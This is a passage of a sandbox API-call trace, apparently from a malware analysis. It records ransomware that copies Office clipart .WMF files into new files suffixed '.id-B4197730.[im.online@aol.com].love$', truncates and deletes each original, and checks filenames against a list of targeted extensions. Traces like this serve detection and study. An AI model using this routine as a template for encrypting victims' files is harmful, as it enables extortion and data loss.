[0229.650] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0229.650] lstrcmpiW (lpString1=".WMF", lpString2=".love$") returned 1 [0229.650] lstrlenW (lpString="AN04385_.WMF") returned 12 [0229.650] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04385_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04385_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3bc [0229.651] GetFileSizeEx (in: hFile=0x3bc, lpFileSize=0x2acff14 | out: lpFileSize=0x2acff14*=5004) returned 1 [0229.651] CloseHandle (hObject=0x3bc) returned 1 [0229.651] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04385_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04385_.wmf")) returned 0x220 [0229.651] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04385_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04385_.wmf.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0229.651] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04385_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04385_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3bc [0229.652] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1 [0229.652] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1 [0229.652] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04385_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04385_.wmf.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x450 [0229.653] GetLastError () returned 0x0 [0229.653] ReadFile (in: hFile=0x3bc, lpBuffer=0x397c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2acfecc, lpOverlapped=0x0 | out: lpBuffer=0x397c020*, lpNumberOfBytesRead=0x2acfecc*=0x138c, lpOverlapped=0x0) returned 1 [0229.737] WriteFile (in: hFile=0x450, lpBuffer=0x397c020*, nNumberOfBytesToWrite=0x1390, lpNumberOfBytesWritten=0x2acfc94, lpOverlapped=0x0 | out: lpBuffer=0x397c020*, lpNumberOfBytesWritten=0x2acfc94*=0x1390, lpOverlapped=0x0) returned 1 [0229.738] ReadFile (in: hFile=0x3bc, lpBuffer=0x397c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2acfecc, lpOverlapped=0x0 | out: lpBuffer=0x397c020*, lpNumberOfBytesRead=0x2acfecc*=0x0, lpOverlapped=0x0) returned 1 [0229.738] WriteFile (in: hFile=0x450, lpBuffer=0x397c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2acfc94, lpOverlapped=0x0 | out: lpBuffer=0x397c020*, lpNumberOfBytesWritten=0x2acfc94*=0xec, lpOverlapped=0x0) returned 1 [0229.738] SetEndOfFile (hFile=0x450) returned 1 [0229.739] CloseHandle (hObject=0x450) returned 1 [0229.805] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1 [0229.805] SetEndOfFile (hFile=0x3bc) returned 1 [0229.931] CloseHandle (hObject=0x3bc) returned 1 [0229.932] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04385_.WMF.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0229.932] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04385_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04385_.wmf")) returned 1 [0229.933] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04385_.WMF") returned 68 [0229.933] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04385_.WMF") returned 68 [0229.933] lstrlenW (lpString=".doc") returned 4 [0229.933] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0229.933] lstrlenW (lpString=".docx") returned 5 [0229.934] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0229.934] lstrlenW (lpString=".pdf") returned 4 [0229.934] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0229.934] lstrlenW (lpString=".xls") returned 4 [0229.934] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0229.934] lstrlenW (lpString=".xlsx") returned 5 [0229.934] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0229.934] lstrlenW (lpString=".ppt") returned 4 [0229.934] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0229.934] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04385_.WMF") returned 68 [0229.934] lstrlenW (lpString=".zip") returned 4 [0229.934] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0229.934] lstrlenW (lpString=".rar") returned 4 [0229.934] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0229.934] lstrlenW (lpString=".bz2") returned 4 [0229.934] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0229.934] lstrlenW (lpString=".7z") returned 3 [0229.934] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0229.934] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04385_.WMF") returned 68 [0229.934] lstrlenW (lpString=".dbf") returned 4 [0229.934] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0229.934] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04385_.WMF") returned 68 [0229.934] lstrlenW (lpString=".1cd") returned 4 [0229.934] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0229.934] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04385_.WMF") returned 68 [0229.935] lstrlenW (lpString=".jpg") returned 4 [0229.935] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0229.935] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04385_.WMF") returned 68 [0229.935] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04385_.WMF") returned 68 [0229.935] lstrlenW (lpString=".doc") returned 4 [0229.935] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0229.935] lstrlenW (lpString=".docx") returned 5 [0229.935] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0229.935] lstrlenW (lpString=".pdf") returned 4 [0229.935] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0229.935] lstrlenW (lpString=".xls") returned 4 [0229.935] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0229.935] lstrlenW (lpString=".xlsx") returned 5 [0229.935] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0229.935] lstrlenW (lpString=".ppt") returned 4 [0229.935] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0229.935] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04385_.WMF") returned 68 [0229.935] lstrlenW (lpString=".zip") returned 4 [0229.935] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0229.935] lstrlenW (lpString=".rar") returned 4 [0229.935] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0229.935] lstrlenW (lpString=".bz2") returned 4 [0229.935] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0229.935] lstrlenW (lpString=".7z") returned 3 [0229.936] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0229.936] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04385_.WMF") returned 68 [0229.936] lstrlenW (lpString=".dbf") returned 4 [0229.936] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0229.936] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04385_.WMF") returned 68 [0229.936] lstrlenW (lpString=".1cd") returned 4 [0229.936] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0229.936] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04385_.WMF") returned 68 [0229.936] lstrlenW (lpString=".jpg") returned 4 [0229.936] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0229.936] lstrcmpiW (lpString1=".WMF", lpString2=".love$") returned 1 [0229.936] lstrlenW (lpString="BD00173_.WMF") returned 12 [0229.936] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00173_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd00173_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3bc [0229.937] GetFileSizeEx (in: hFile=0x3bc, lpFileSize=0x2acff14 | out: lpFileSize=0x2acff14*=16180) returned 1 [0229.937] CloseHandle (hObject=0x3bc) returned 1 [0229.937] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00173_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd00173_.wmf")) returned 0x220 [0229.937] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00173_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd00173_.wmf.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0229.937] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00173_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd00173_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3bc [0229.938] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1 [0229.938] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1 [0229.938] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00173_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd00173_.wmf.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c0 [0229.939] GetLastError () returned 0x0 [0229.939] ReadFile (in: hFile=0x3bc, lpBuffer=0x397c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2acfecc, lpOverlapped=0x0 | out: lpBuffer=0x397c020*, lpNumberOfBytesRead=0x2acfecc*=0x3f34, lpOverlapped=0x0) returned 1 [0230.094] WriteFile (in: hFile=0x3c0, lpBuffer=0x397c020*, nNumberOfBytesToWrite=0x3f40, lpNumberOfBytesWritten=0x2acfc94, lpOverlapped=0x0 | out: lpBuffer=0x397c020*, lpNumberOfBytesWritten=0x2acfc94*=0x3f40, lpOverlapped=0x0) returned 1 [0230.096] ReadFile (in: hFile=0x3bc, lpBuffer=0x397c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2acfecc, lpOverlapped=0x0 | out: lpBuffer=0x397c020*, lpNumberOfBytesRead=0x2acfecc*=0x0, lpOverlapped=0x0) returned 1 [0230.096] WriteFile (in: hFile=0x3c0, lpBuffer=0x397c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2acfc94, lpOverlapped=0x0 | out: lpBuffer=0x397c020*, lpNumberOfBytesWritten=0x2acfc94*=0xec, lpOverlapped=0x0) returned 1 [0230.096] SetEndOfFile (hFile=0x3c0) returned 1 [0230.097] CloseHandle (hObject=0x3c0) returned 1 [0230.104] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1 [0230.104] SetEndOfFile (hFile=0x3bc) returned 1 [0230.161] CloseHandle (hObject=0x3bc) returned 1 [0230.161] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00173_.WMF.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0230.182] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00173_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd00173_.wmf")) returned 1 [0230.183] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00173_.WMF") returned 68 [0230.183] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00173_.WMF") returned 68 [0230.183] lstrlenW (lpString=".doc") returned 4 [0230.183] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0230.183] lstrlenW (lpString=".docx") returned 5 [0230.183] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0230.183] lstrlenW (lpString=".pdf") returned 4 [0230.183] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0230.183] lstrlenW (lpString=".xls") returned 4 [0230.183] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0230.183] lstrlenW (lpString=".xlsx") returned 5 [0230.183] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0230.183] lstrlenW (lpString=".ppt") returned 4 [0230.183] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0230.183] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00173_.WMF") returned 68 [0230.183] lstrlenW (lpString=".zip") returned 4 [0230.183] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0230.183] lstrlenW (lpString=".rar") returned 4 [0230.183] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0230.183] lstrlenW (lpString=".bz2") returned 4 [0230.183] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0230.183] lstrlenW (lpString=".7z") returned 3 [0230.183] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0230.183] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00173_.WMF") returned 68 [0230.183] lstrlenW (lpString=".dbf") returned 4 [0230.183] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0230.183] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00173_.WMF") returned 68 [0230.184] lstrlenW (lpString=".1cd") returned 4 [0230.184] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0230.184] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00173_.WMF") returned 68 [0230.184] lstrlenW (lpString=".jpg") returned 4 [0230.184] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0230.184] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00173_.WMF") returned 68 [0230.184] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00173_.WMF") returned 68 [0230.184] lstrlenW (lpString=".doc") returned 4 [0230.184] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0230.184] lstrlenW (lpString=".docx") returned 5 [0230.184] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0230.184] lstrlenW (lpString=".pdf") returned 4 [0230.184] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0230.184] lstrlenW (lpString=".xls") returned 4 [0230.184] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0230.184] lstrlenW (lpString=".xlsx") returned 5 [0230.184] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0230.184] lstrlenW (lpString=".ppt") returned 4 [0230.184] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0230.184] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00173_.WMF") returned 68 [0230.184] lstrlenW (lpString=".zip") returned 4 [0230.184] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0230.184] lstrlenW (lpString=".rar") returned 4 [0230.184] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0230.184] lstrlenW (lpString=".bz2") returned 4 [0230.185] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0230.185] lstrlenW (lpString=".7z") returned 3 [0230.185] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0230.185] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00173_.WMF") returned 68 [0230.185] lstrlenW (lpString=".dbf") returned 4 [0230.185] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0230.185] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00173_.WMF") returned 68 [0230.185] lstrlenW (lpString=".1cd") returned 4 [0230.185] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0230.185] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00173_.WMF") returned 68 [0230.185] lstrlenW (lpString=".jpg") returned 4 [0230.185] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0230.185] lstrcmpiW (lpString1=".WMF", lpString2=".love$") returned 1 [0230.185] lstrlenW (lpString="BD06200_.WMF") returned 12 [0230.185] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD06200_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd06200_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3bc [0230.186] GetFileSizeEx (in: hFile=0x3bc, lpFileSize=0x2acff14 | out: lpFileSize=0x2acff14*=16676) returned 1 [0230.186] CloseHandle (hObject=0x3bc) returned 1 [0230.190] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD06200_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd06200_.wmf")) returned 0x220 [0230.190] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD06200_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd06200_.wmf.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0230.190] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD06200_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd06200_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3bc [0230.190] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1 [0230.191] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1 [0230.191] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD06200_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd06200_.wmf.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c0 [0230.195] GetLastError () returned 0x0 [0230.195] ReadFile (in: hFile=0x3bc, lpBuffer=0x397c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2acfecc, lpOverlapped=0x0 | out: lpBuffer=0x397c020*, lpNumberOfBytesRead=0x2acfecc*=0x4124, lpOverlapped=0x0) returned 1 [0230.198] WriteFile (in: hFile=0x3c0, lpBuffer=0x397c020*, nNumberOfBytesToWrite=0x4130, lpNumberOfBytesWritten=0x2acfc94, lpOverlapped=0x0 | out: lpBuffer=0x397c020*, lpNumberOfBytesWritten=0x2acfc94*=0x4130, lpOverlapped=0x0) returned 1 [0230.200] ReadFile (in: hFile=0x3bc, lpBuffer=0x397c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2acfecc, lpOverlapped=0x0 | out: lpBuffer=0x397c020*, lpNumberOfBytesRead=0x2acfecc*=0x0, lpOverlapped=0x0) returned 1 [0230.200] WriteFile (in: hFile=0x3c0, lpBuffer=0x397c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2acfc94, lpOverlapped=0x0 | out: lpBuffer=0x397c020*, lpNumberOfBytesWritten=0x2acfc94*=0xec, lpOverlapped=0x0) returned 1 [0230.200] SetEndOfFile (hFile=0x3c0) returned 1 [0230.200] CloseHandle (hObject=0x3c0) returned 1 [0230.204] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1 [0230.204] SetEndOfFile (hFile=0x3bc) returned 1 [0230.210] CloseHandle (hObject=0x3bc) returned 1 [0230.210] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD06200_.WMF.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0230.211] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD06200_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd06200_.wmf")) returned 1 [0230.212] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD06200_.WMF") returned 68 [0230.212] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD06200_.WMF") returned 68 [0230.212] lstrlenW (lpString=".doc") returned 4 [0230.212] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0230.212] lstrlenW (lpString=".docx") returned 5 [0230.212] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0230.212] lstrlenW (lpString=".pdf") returned 4 [0230.212] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0230.212] lstrlenW (lpString=".xls") returned 4 [0230.212] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0230.212] lstrlenW (lpString=".xlsx") returned 5 [0230.212] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0230.212] lstrlenW (lpString=".ppt") returned 4 [0230.212] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0230.212] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD06200_.WMF") returned 68 [0230.212] lstrlenW (lpString=".zip") returned 4 [0230.212] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0230.212] lstrlenW (lpString=".rar") returned 4 [0230.212] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0230.212] lstrlenW (lpString=".bz2") returned 4 [0230.212] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0230.212] lstrlenW (lpString=".7z") returned 3 [0230.212] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0230.213] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD06200_.WMF") returned 68 [0230.213] lstrlenW (lpString=".dbf") returned 4 [0230.213] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0230.213] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD06200_.WMF") returned 68 [0230.213] lstrlenW (lpString=".1cd") returned 4 [0230.213] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0230.213] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD06200_.WMF") returned 68 [0230.213] lstrlenW (lpString=".jpg") returned 4 [0230.213] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0230.213] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD06200_.WMF") returned 68 [0230.213] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD06200_.WMF") returned 68 [0230.213] lstrlenW (lpString=".doc") returned 4 [0230.213] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0230.213] lstrlenW (lpString=".docx") returned 5 [0230.213] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0230.213] lstrlenW (lpString=".pdf") returned 4 [0230.213] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0230.213] lstrlenW (lpString=".xls") returned 4 [0230.213] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0230.213] lstrlenW (lpString=".xlsx") returned 5 [0230.213] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0230.213] lstrlenW (lpString=".ppt") returned 4 [0230.213] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0230.214] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD06200_.WMF") returned 68 [0230.214] lstrlenW (lpString=".zip") returned 4 [0230.214] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0230.214] lstrlenW (lpString=".rar") returned 4 [0230.214] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0230.214] lstrlenW (lpString=".bz2") returned 4 [0230.214] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0230.214] lstrlenW (lpString=".7z") returned 3 [0230.214] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0230.214] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD06200_.WMF") returned 68 [0230.214] lstrlenW (lpString=".dbf") returned 4 [0230.214] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0230.214] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD06200_.WMF") returned 68 [0230.214] lstrlenW (lpString=".1cd") returned 4 [0230.214] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0230.214] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD06200_.WMF") returned 68 [0230.214] lstrlenW (lpString=".jpg") returned 4 [0230.214] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0230.214] lstrcmpiW (lpString1=".WMF", lpString2=".love$") returned 1 [0230.214] lstrlenW (lpString="BD07761_.WMF") returned 12 [0230.214] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07761_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd07761_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, 